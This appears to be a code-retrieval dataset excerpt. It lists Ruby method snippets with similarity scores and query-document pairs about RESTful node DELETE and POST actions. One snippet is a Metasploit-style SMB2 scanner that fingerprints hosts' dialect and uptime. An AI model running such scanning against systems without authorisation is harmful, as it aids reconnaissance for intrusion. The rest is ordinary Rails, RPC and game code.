"def run_host(ip)\n\n\t\tbegin\n\t\t\tconnect\n\n\t\t\t# The SMB 2 dialect must be there\n\t\t\tdialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002', 'SMB 2.???']\n\t\t\tdata = dialects.collect { |dialect| \"\\x02\" + dialect + \"\\x00\" }.join('')\n\n\t\t\tpkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct\n\t\t\tpkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE\n\t\t\tpkt['Payload']['SMB'].v['Flags1'] = 0x18\n\t\t\tpkt['Payload']['SMB'].v['Flags2'] = 0xc853\n\t\t\tpkt['Payload'].v['Payload'] = data\n\n\t\t\tpkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)\n\t\t\tpkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)\n\n\t\t\tsock.put(pkt.to_s)\n\t\t\tres = sock.get_once\n\t\t\tif(res and res.index(\"\\xfeSMB\"))\n\t\t\t\tif(res.length >= 124)\n\t\t\t\t\tvers = res[72,2].unpack(\"CC\").map{|c| c.to_s}.join(\".\")\n\t\t\t\t\tctime = Rex::Proto::SMB::Utils.time_smb_to_unix(*(res[108,8].unpack(\"VV\").reverse))\n\t\t\t\t\tbtime = Rex::Proto::SMB::Utils.time_smb_to_unix(*(res[116,8].unpack(\"VV\").reverse))\n\t\t\t\t\tutime = ctime - btime\n\t\t\t\t\tprint_status(\"#{ip} supports SMB 2 [dialect #{vers}] and has been online for #{utime/3600} hours\")\n\t\t\t\t\t#Add Report\n\t\t\t\t\treport_note(\n\t\t\t\t\t\t:host\t=> ip,\n\t\t\t\t\t\t:proto\t=> 'smb2',\n\t\t\t\t\t\t:port\t=> rport,\n\t\t\t\t\t\t:type\t=> \"supports SMB 2 [dialect #{vers}]\",\n\t\t\t\t\t\t:data\t=> \"supports SMB 2 [dialect #{vers}] and has been online for #{utime/3600} hours\"\n\t\t\t\t\t)\n\t\t\t\telse\n\t\t\t\t\tprint_status(\"#{ip} supports SMB 2.0\")\n\t\t\t\t\t#Add Report\n\t\t\t\t\treport_note(\n\t\t\t\t\t\t:host\t=> ip,\n\t\t\t\t\t\t:proto\t=> 'smb2',\n\t\t\t\t\t\t:port\t=> rport,\n\t\t\t\t\t\t:type\t=> \"supports SMB 2.0\",\n\t\t\t\t\t\t:data\t=> \"supports SMB 2.0\"\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\tend\n\n\t\trescue ::Rex::ConnectionError\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"#{rhost}: #{e.class} #{e} #{e.backtrace}\")\n\t\tensure\n\t\t\tdisconnect\n\t\tend\n\tend",
"def move(from_account, to_account, amount, minconf = 1, comment = nil)\n request :move, from_account, to_account, amount, minconf, comment\n end",
"def connect_nonblock(p0) end",
"def teleport\n read_config\n assemble_tgz\n ssh_tgz\n end",
"def SetMeshInterface()\n \n @nodes.each do |node|\n Node(node.id).exec(\"/sbin/ifconfig #{@meshifn} #{GetIpFromId(node.id)}\")\n Node(node.id).exec(\"/sbin/ifconfig #{@meshifn} mtu 1500\")\n end\n end",
"def mig; bparam(0); end",
"def push_config\n command = ['VBoxManage', 'modifyvm', uid]\n command.concat board.to_params\n nics.each_with_index do |nic, index|\n if nic.nil?\n command.push \"--nic#{index + 1}\", 'none'\n else\n command.concat nic.to_params(index + 1)\n end\n end\n VirtualBox.run_command! command\n \n io_buses.each { |bus| bus.add_to self }\n \n self\n end",
"def user_move(start, finish)\n start , finish = Board.pos_to_coord(start), Board.pos_to_coord(finish)\n self[finish] = self[start]\n self[start] = NullPiece.instance\n self[finish].position = finish\n end",
"def transfer; end",
"def transfer; end",
"def move(fromaccount, toaccount, amount, minconf = 1, comment = nil)\n @api.request 'move', fromaccount, toaccount, amount, minconf, comment\n end",
"def bridge_multicast_state\n super\n end",
"def send_el_msg(pid, msg)\n buffer = $b.clone\n buffer[:type] = \"ELECTION\"\n buffer[:msg] = msg\n\n # najdu dalsi aktivni proces\n succ = next_pid(pid)\n while($processes[succ][:active] != true)\n succ = next_pid(succ)\n end\n\n $processes[succ][:buffer] = buffer\nend",
"def move(from, to)\n @tasks.insert(index(to), @tasks.delete_at(index(from)))\n end",
"def parallelize_me!; end",
"def moves\n # overridden in slideable/stepable modules\n end",
"def move_type_path\n return if @path == :pending\n return unless movable?\n while (command = @path[@move_route_index])\n # @move_route_index += 1\n break if move_type_custon_exec_command(command)\n end\n end",
"def forward (from, to, port_options = {})\n remoteport = port_options[:remote] || 22\n localport = port_options[:local]\n while (@@local_ports.include?(localport) || localport.nil?) do\n\t localport = ((rand + 1) * 2000).round\n end\n @@log.debug(\"Adding forwarding to \"+to+\":\"+remoteport.to_s+\" on local port \"+localport.to_s)\n\n register_ssh_forward(from.to_sym, to.to_sym, localport, remoteport)\n activate_ssh_loop(from.to_sym)\n end",
"def move(direction = 'NEXT')\n statement = \"move #{direction} from #{@name}\"\n @connection.exec(statement)\n end",
"def primary()\n while true\n moves = []\n map = $network.frame\n\n (0...map.height).each do |y|\n (0...map.width).each do |x|\n loc = Location.new(x, y)\n site = map.site(loc)\n\n next if site.owner != $tag\n\n next if should_wait(map, site)\n\n valid = valid_moves(map, loc)\n if valid.empty?\n opts = $directions\n #opts = site.strength == 255 ? directions : ([GameMap::DIRECTIONS[0] ] + directions\n moves << Move.new(loc, opts.shuffle.first)\n else\n moves << Move.new(loc, valid.shuffle.first)\n end\n\n end\n end\n\n $network.send_moves(moves)\n end\nend",
"def perform_complete_move(player_number, from_id, to_id, promote = false)\n from = squares.find_by_id(from_id)\n to = squares.find_by_id(to_id)\n\n captured = to.occupied? ? to : nil\n\n @last_change = { type: 'move', data: { player_number: player_number, from: from_id, to: to_id } }\n\n perform_move(player_number, from, to, captured)\n\n promote_piece(to) if promote\n pass_turn\n end",
"def switchmove _obj, _args\n \"_obj switchmove _args;\" \n end",
"def start id, ip = \"localhost\", user = \"sjfaber\", keys = \"/Users/sjfaber/.ssh/id_rsa\"\n # We may need to do special start for the master\n channel = nil\n channel_thread = Thread.new {\n puts \" Inside thread\"\n Net::SSH.start(ip, user, :keys => keys) do |ssh|\n puts \"Starting #{id}\"\n Thread.current[:ssh] = ssh\n channel = ssh.open_channel do |ch|\n puts \"About to exec #{id}\"\n\n ch.exec \"echo HI there from #{id}; bash\" do |ch, success|\n puts \"Execing #{id}\"\n raise \"could not execute command\" unless success\n ch.on_data do |c, data|\n $stdout.print data\n end\n\n ch.on_extended_data do |c, data|\n $stdout.print data\n end\n\n ch.on_close { puts \"disconnecting #{id}\" }\n\n\n ch.send_data(\"echo hi2\\n\")\n end\n\n ch.send_data(\"echo hi3\\n\")\n\n end\n\n Thread.current[:channel]=channel\n Thread.current[:channel].send_data(\"echo hi4\\n\")\n\n # This is finally working hooray!! but we should really consider using simple ssh\n # this will handle timeouts, and keep_alive\n Thread.current[:continue] = true\n ssh.loop(1) do\n Thread.current[:continue] && channel.active?\n end\n end\n }\n\n channel_thread\nend",
"def importMib( mib, path )\n puts \"Copying MIB from MIBS/#{mib} to #{path} ...\"\n FileUtils.cp_r(\"MIBS/#{mib}\", path)\n puts \"Importing MIB: #{mib} ...\"\n SNMP::MIB.import_module(\"MIBS/#{mib}\")\nend"
] | [
"0.5238375",
"0.5189966",
"0.49847272",
"0.4805643",
"0.4705259",
"0.46188003",
"0.4591349",
"0.45681703",
"0.45561075",
"0.4543775",
"0.45390335",
"0.45353398",
"0.45353398",
"0.45353398",
"0.45161006",
"0.44785985",
"0.44779825",
"0.44703984",
"0.44643474",
"0.44448236",
"0.44427636",
"0.44268954",
"0.44268954",
"0.44221523",
"0.44001532",
"0.4399177",
"0.4396978",
"0.43813622",
"0.43598196",
"0.4351481",
"0.43469015",
"0.43403324",
"0.43403324",
"0.43232718",
"0.43223584",
"0.43073133",
"0.42999628",
"0.4299955",
"0.42996138",
"0.4298433",
"0.4292779",
"0.4292614",
"0.42866063",
"0.42796844",
"0.42581806",
"0.4251827",
"0.42470163",
"0.42331678",
"0.42310095",
"0.42280763",
"0.42271566",
"0.42241287",
"0.42214036",
"0.42209467",
"0.42197537",
"0.42137927",
"0.42136693",
"0.42124292",
"0.42114592",
"0.4210513",
"0.42078295",
"0.42069292",
"0.42006916",
"0.41955164",
"0.41949385",
"0.4190271",
"0.41879326",
"0.41858032",
"0.41843376",
"0.41841093",
"0.41829222",
"0.4181496",
"0.41792968",
"0.41751066",
"0.41674122",
"0.4166061",
"0.4166061",
"0.41576633",
"0.4154778",
"0.41532645",
"0.41505226",
"0.41492406",
"0.41478276",
"0.4143606",
"0.41419393",
"0.41311058",
"0.41311058",
"0.4126507",
"0.41221377",
"0.41090772",
"0.41080135",
"0.41071424",
"0.40946037",
"0.4090925",
"0.40900138",
"0.40836123",
"0.40795994",
"0.40737218",
"0.4072111",
"0.40684068",
"0.40678334"
] | 0.0 | -1 |
RESTful DELETE of the node resource | def destroy
n = Node.find_key(params[:id] || params[:name])
render api_delete Node
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n authorize! :destroy, @node\n\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node = Node.find_key(params[:id] || params[:name])\n @node.destroy\n respond_to do |format|\n format.html { redirect_to deployment_path(@node.deployment_id) }\n format.json { render api_delete @node }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_path }\n format.json { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n \n Action.log :controller => params[:controller], :action => params[:action], :target_id => params[:id], :user => current_user\n\n respond_to do |format|\n format.html { redirect_to :root, notice: 'Node was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @node.destroy\r\n respond_to do |format|\r\n format.html { redirect_to nodes_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n b.node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @obj = Node.find(params[:id])\n @obj.destroy\n\n respond_to do |format|\n format.html { redirect_to :back}\n format.json { head :no_content }\n end\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def ajax_delete_node\n\n # Get the Node from the DB\n node = Node.find(params[:node_id])\n\n # If node exits, then remove the node\n if !node.nil?\n node.destroy\n end\n\n end",
"def destroy\n @retain_node = RetainNode.find(params[:id])\n @retain_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_nodes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @gnode = Gnode.find(params[:id])\n @gnode.destroy\n\n respond_to do |format|\n format.html { redirect_to gnodes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @node_incident = NodeIncident.find(params[:id])\n @node_incident.destroy\n\n respond_to do |format|\n format.html { redirect_to node_incidents_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete; rest_delete(link('self')); end",
"def delete; rest_delete(link('self')); end",
"def destroy\n @server_node = ServerNode.find(params[:id])\n @server_node.destroy\n\n respond_to do |format|\n format.html { redirect_to server_nodes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n @compute_node = ComputeNode.find(params[:id])\n @compute_node.destroy\n\n respond_to do |format|\n format.html { redirect_to compute_nodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resource = Resource.find(params[:id])\n\n # # ******************\n # # Check permissions!\n # main_tree_node = @resource.tree_nodes.select{ |e| e.is_main == true }.first\n # if not (main_tree_node && main_tree_node.can_administrate?)\n # flash[:notice] = \"Access denied. User can't delete tree node\"\n # redirect_to session[:referer]\n # end\n # # ******************\n\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to session[:referer] }\n format.xml { head :ok }\n end\n end",
"def destroy\n @f5_node = F5Node.find(params[:id])\n @f5_node.destroy\n\n respond_to do |format|\n format.html { redirect_to f5_nodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @map_node = Map::Node.find(params[:id])\n @map_node.destroy\n\n respond_to do |format|\n format.html { redirect_to map_nodes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @node_index = NodeIndex.find(params[:id])\n @node_index.destroy\n\n respond_to do |format|\n format.html { redirect_to node_indices_url }\n format.json { head :no_content }\n end\n end",
"def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end",
"def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end",
"def destroy\n @pm_node.destroy\n respond_to do |format|\n format.html { redirect_to pm_nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @task = Node.find(params[:id])\n @task.destroy\n respond_to do |format|\n format.html { redirect_to tasks_path}\n format.json { head :no_content }\n end\n \n end",
"def destroy\n @comment_node = CommentNode.find(params[:id])\n @comment_node.destroy\n\n respond_to do |format|\n format.html { redirect_to comment_nodes_url }\n format.json { head :ok }\n end\n end",
"def delete\n @resource.delete\n end",
"def destroy\n @newnode.destroy\n respond_to do |format|\n format.html { redirect_to newnodes_url, notice: 'Newnode was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @registration = NodeRegistration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n node = @job.nodes.find(params[:id])\n @job.nodes.delete(node)\n\n respond_to do |format|\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @star_node.destroy\n respond_to do |format|\n format.html { redirect_to star_nodes_url, notice: \"Star node was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete!\n request! :delete\n end",
"def delete(params = {})\n Client.current.delete(resource_url, params)\n end",
"def destroy\n @node_template = NodeTemplate.find(params[:id])\n @node_template.destroy\n\n respond_to do |format|\n format.html { redirect_to node_templates_url }\n format.json { head :no_content }\n end\n end",
"def delete!\n connection.delete(\n path: resource_path,\n status: 204\n ).data\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @node = Node.find(params[:id])\n myWorkingName = @node.working_name\n @node.destroy\n\n respond_to do |format|\n flash[:notice] = (\"Node \" + myWorkingName + \" has been deleted\")\n format.html { redirect_to root_path(tab:\"nodelist\") }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @retain_node_selector = RetainNodeSelector.find(params[:id])\n @retain_node_selector.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_node_selectors_url) }\n format.xml { head :ok }\n end\n end",
"def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end",
"def destroy\n @nodo.destroy\n respond_to do |format|\n format.html { redirect_to nodos_url }\n format.json { head :no_content }\n end\n end",
"def destroy_empty\n @obj = Node.find(params[:id])\n @obj.destroy_empty\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end",
"def delete(node)\n remove_node(node)\n end",
"def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def delete_node\n node.destroy if node\n end",
"def delete_node\n delete(@nodename)\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def rest_delete(path, options={}, &blk)\n delete path do |*args|\n @object = yield(*args) or pass\n @object.destroy\n rest_respond :result => :success\n end\n end",
"def rest_delete(path, options={}, &blk)\n delete path do |*args|\n @object = yield(*args) or pass\n @object.destroy\n rest_respond :result => :success\n end\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def delete\r\n \tProductPackageNode.delete params[:node_ids]\r\n render :nothing => true\r\n end",
"def destroy\n if !signed_in_and_master?\n flash[:notice] = \"Sorry. Only technical manager can delete data. Please, contact Roberto SPURIO to do it.\"\n redirect_to altitude_types_path\n else\n\n @title = \"Taxonomy node - organism relationships\"\n\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end\n end",
"def delete(resource)\n proxy(method: :delete, url: url_for(resource))\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def delete(path)\n request(:delete, path)\n end",
"def destroy\n @argument_node = ArgumentNode.find(params[:id])\n @argument_node.destroy\n\n respond_to do |format|\n format.html { redirect_to argument_nodes_url }\n format.json { head :no_content }\n end\n end",
"def delete(resource, **params)\n\n execute(Net::HTTP::Delete, 'DELETE', resource, **params)\n\n end",
"def delete!\n @resource.delete!\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete options\n rest_request({ method: :delete }.merge(options))\n end",
"def delete options\n rest_request({ method: :delete }.merge(options))\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end",
"def destroy\n destroy_resource(resource)\n head :no_content\n end",
"def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end"
] | [
"0.8125971",
"0.809001",
"0.8016774",
"0.8016774",
"0.8016774",
"0.8004176",
"0.8004176",
"0.8004176",
"0.8004176",
"0.8004176",
"0.79829395",
"0.7981677",
"0.79283303",
"0.7916526",
"0.78869337",
"0.77878803",
"0.77592057",
"0.77592057",
"0.77592057",
"0.76455164",
"0.7636889",
"0.7618458",
"0.76121753",
"0.7608325",
"0.7573854",
"0.750396",
"0.7454266",
"0.7454266",
"0.7444832",
"0.74363196",
"0.74226314",
"0.74082136",
"0.74082136",
"0.74082136",
"0.74082136",
"0.73906726",
"0.73906726",
"0.73812413",
"0.73812413",
"0.7363125",
"0.73482555",
"0.7339247",
"0.7332977",
"0.73305875",
"0.7324597",
"0.7320485",
"0.7320456",
"0.7320456",
"0.73124284",
"0.73073715",
"0.7301118",
"0.7297811",
"0.7269625",
"0.72546107",
"0.7235908",
"0.72142625",
"0.7208615",
"0.7197923",
"0.719757",
"0.71813476",
"0.7163215",
"0.71441746",
"0.714414",
"0.71283275",
"0.71177703",
"0.7117036",
"0.71122867",
"0.71087223",
"0.71051115",
"0.7093228",
"0.70838195",
"0.7060382",
"0.7059371",
"0.7054207",
"0.70526874",
"0.7023853",
"0.70172966",
"0.7016777",
"0.7009988",
"0.7007488",
"0.70023274",
"0.70016885",
"0.69996804",
"0.6967536",
"0.6967075",
"0.69665664",
"0.6965621",
"0.69580686",
"0.6953178",
"0.6953178",
"0.694547",
"0.69423836",
"0.6935253",
"0.6890934",
"0.6886913",
"0.6886913",
"0.6886913",
"0.6886913",
"0.6886913",
"0.6886913"
] | 0.81326723 | 0 |
RESTfule POST of the node resource | def create
n = Node.create! params
render api_show :node, Node, n.id.to_s, nil, n
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n megam_rest.post_node(to_hash)\n end",
"def method_missing(method, *args, &block)\n data = { method: method, parameters: args }\n request.post(path: nodes_path, data: data, auth_token: auth_token)\n end",
"def post\n resource.post(request, response)\n end",
"def create\n @obj = Node.new(params[:node])\n\n respond_to do |format|\n if @obj.save\n format.html { redirect_to @obj, notice: 'Node was successfully created.' }\n format.json { render json: @obj, status: :created, location: @obj }\n else\n format.html { render action: \"new\" }\n format.json { render json: @obj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(params[:node])\n\n\n respond_to do |format|\n if @node.save\n format.html { redirect_to @node, notice: 'Node was successfully created.' }\n format.json { render json: @node, status: :created, location: @node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n Rentlinx.client.post(self)\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if @node.save!\n format.html { redirect_to @node, notice: 'Встречная продажа создана' }\n format.json { render json: @node, status: :created, location: @node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def on_post(resource_uri, opts) # resource_uri = Nodes\n debug \"on_post: #{resource_uri}\"\n resource = update_resource(resource_uri, false, opts)\n show_resource(resource, opts)\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if @node.save\n format.html { redirect_to @node, notice: 'Node was successfully created.' }\n format.json { render json: @node, status: :created, location: @node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@server_node = ServerNode.new(params[:server_node])\n #@server_node = ServerNode.create() do |n|\n # n.name = params[:node][:name]\n\t# n.region = params[:node][:region]\n\t# n.status = params[:node][:status]\n\n #end\n\n respond_to do |format|\n if @server_node.save\n format.html { redirect_to @server_node, notice: 'Server node was successfully created.' }\n format.json { render json: @server_node, status: :created, location: @server_node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @server_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def POST; end",
"def create\n @node = Node.new(params[:node])\n \n respond_to do |format|\n if @node.save\n format.html { redirect_to(@node, :notice => 'Node was successfully created.') }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(params[:node])\n authorize! :create, @node\n\n respond_to do |format|\n if @node.save\n format.html { redirect_to @node, notice: 'Node was successfully created.' }\n format.json { render json: @node, status: :created, location: @node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(node_params)\n\n respond_to do |format|\n if @node.save\n format.html { redirect_to @node, notice: 'Node was successfully created.' }\n format.json { render :show, status: :created, location: @node }\n else\n format.html { render :new }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(node_params)\n\n respond_to do |format|\n if @node.save\n format.html { redirect_to @node, notice: 'Node was successfully created.' }\n format.json { render :show, status: :created, location: @node }\n else\n format.html { render :new }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(node_params)\n\n respond_to do |format|\n if @node.save\n format.html { redirect_to @node, notice: 'Node was successfully created.' }\n format.json { render :show, status: :created, location: @node }\n else\n format.html { render :new }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n b.node = type.build(node_params)\n authorize! :create, b.node\n respond_to do |format|\n if b.node.save\n format.html { redirect_to b.node, notice: 'Node was successfully created.' }\n format.json { render :show, status: :created, location: b.node }\n else\n format.html { render :new }\n format.json { render json: b.node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if @node.save\n format.html { redirect_to(@node, :notice => 'Node was successfully created.') }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if @node.save\n format.html { redirect_to(@node, :notice => 'Node was successfully created.') }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(path, **args); end",
"def create\n @node = Node.new(params[:node])\n @node.project_id = current_user.project_id\n @node.user_id = current_user.id\n\t@node.approved = true\n\t@node.mod = true\n\tputs @node.inspect\n respond_to do |format|\n if @node.save\n format.html { redirect_to root_path(tab:\"newnode\"), notice: 'Node ' + @node.working_name + ' has been added'}\n format.json { render json: @node, status: :created, location: @node }\n else\n\t\tflash[:error] = @node.errors\n format.html { redirect_to root_path(tab:\"newnode\")}\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_node_with_props data\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n 'Content-Type' => 'application/json',\n }\n post_request 'node', data, headers\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if @node.save\n @node.broadcast_add_me\n Cue.send_all_pending\n format.html { redirect_to(@node, :notice => 'Node was successfully created.') }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post; end",
"def post endpoint, data\n do_request :post, endpoint, data\n end",
"def create\n @newnode = Newnode.new(newnode_params)\n\n respond_to do |format|\n if @newnode.save\n format.html { redirect_to @newnode, notice: 'Newnode was successfully created.' }\n format.json { render :show, status: :created, location: @newnode }\n else\n format.html { render :new }\n format.json { render json: @newnode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n puts \"xxxxxxx NodesC a:create xxxxxxx\"\n # Whitelisting is used to secure our actions from processing un-identified\n # parameters sent in the http request, this is a new Rails 4 feature\n #@node = Node.new(white_listed_params)\n\n puts \"1XXXXXXX params:\", params, \" ...YYYYYYYYYYYYY\"\n puts \"2XXXXXXX params[:node]:\", params[:node], \" ...YYYYYYYYYYYYY\"\n puts \"3XXXXXXX params[:node][:name_display]:\",params[:node][:name_display], \" ...YYYYYYYYYYYYY\"\n\n @node = Node.new(params[:node]) \n @node.user_id = current_user.id\n \n if @node.save\n flash[:success] = \"Node #{@node.name_display} saved successfully.\"\n # nodes_path is a helper that uses routes.rb to return\n # a string like '/nodes'.\n # redirect_to is a function that takes the relative url\n # and sends a 302 redirect to the browser\n redirect_to nodes_path\n else\n render :new\n end\n puts \"4XXXXXXX @node.to_yaml\", @node.to_yaml , \"... this is an object YYYYYYYYYYYY\"\n puts \"5XXXXXXX @node.user_id.inspect\", 